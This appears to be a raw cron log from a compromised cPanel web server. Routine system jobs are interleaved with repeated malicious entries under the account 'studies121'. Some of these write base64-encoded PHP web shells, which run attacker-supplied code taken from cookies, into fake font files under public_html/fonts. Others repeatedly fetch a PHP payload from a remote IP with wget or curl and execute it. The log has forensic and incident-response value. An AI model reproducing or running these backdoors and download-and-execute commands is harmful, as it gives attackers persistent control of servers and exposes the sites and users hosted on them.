Sep 11 13:35:01 ip-184-168-122-23 CROND[11647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:36:01 ip-184-168-122-23 CROND[11790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:36:01 ip-184-168-122-23 CROND[11792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:36:01 ip-184-168-122-23 CROND[11795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:36:01 ip-184-168-122-23 CROND[11794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:36:01 ip-184-168-122-23 CROND[11796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:37:01 ip-184-168-122-23 CROND[11962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:37:01 ip-184-168-122-23 CROND[11966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:37:01 ip-184-168-122-23 CROND[11967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:37:01 ip-184-168-122-23 CROND[11968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:38:01 ip-184-168-122-23 CROND[12174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:38:01 ip-184-168-122-23 CROND[12176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:38:01 ip-184-168-122-23 CROND[12179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:38:01 ip-184-168-122-23 CROND[12178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:38:01 ip-184-168-122-23 CROND[12177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:39:01 ip-184-168-122-23 CROND[12287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:39:02 ip-184-168-122-23 CROND[12290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:39:02 ip-184-168-122-23 CROND[12291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:39:02 ip-184-168-122-23 CROND[12292]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 13:39:02 ip-184-168-122-23 CROND[12295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:40:02 ip-184-168-122-23 CROND[12418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:40:02 ip-184-168-122-23 CROND[12420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:40:02 ip-184-168-122-23 CROND[12422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:40:02 ip-184-168-122-23 CROND[12423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:40:02 ip-184-168-122-23 CROND[12424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:40:02 ip-184-168-122-23 CROND[12425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:40:02 ip-184-168-122-23 CROND[12428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:40:02 ip-184-168-122-23 CROND[12427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:41:01 ip-184-168-122-23 CROND[12524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:41:01 ip-184-168-122-23 CROND[12526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:41:01 ip-184-168-122-23 CROND[12525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:41:01 ip-184-168-122-23 CROND[12531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:42:01 ip-184-168-122-23 CROND[12616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:42:01 ip-184-168-122-23 CROND[12619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:42:01 ip-184-168-122-23 CROND[12620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:42:01 ip-184-168-122-23 CROND[12617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:42:01 ip-184-168-122-23 CROND[12618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:43:01 ip-184-168-122-23 CROND[12789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:43:01 ip-184-168-122-23 CROND[12791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:43:01 ip-184-168-122-23 CROND[12790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:43:01 ip-184-168-122-23 CROND[12792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:44:02 ip-184-168-122-23 CROND[12879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:44:02 ip-184-168-122-23 CROND[12878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:44:02 ip-184-168-122-23 CROND[12876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:44:02 ip-184-168-122-23 CROND[12877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:44:02 ip-184-168-122-23 CROND[12880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:45:02 ip-184-168-122-23 CROND[12984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:45:02 ip-184-168-122-23 CROND[12986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:45:02 ip-184-168-122-23 CROND[12988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:45:02 ip-184-168-122-23 CROND[12991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:45:02 ip-184-168-122-23 CROND[12987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:45:02 ip-184-168-122-23 CROND[12989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:46:01 ip-184-168-122-23 CROND[13090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:46:01 ip-184-168-122-23 CROND[13092]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:46:01 ip-184-168-122-23 CROND[13093]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 13:46:01 ip-184-168-122-23 CROND[13094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:46:01 ip-184-168-122-23 CROND[13095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:46:01 ip-184-168-122-23 CROND[13097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:46:01 ip-184-168-122-23 CROND[13096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:47:01 ip-184-168-122-23 CROND[13208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:47:01 ip-184-168-122-23 CROND[13210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:47:01 ip-184-168-122-23 CROND[13212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
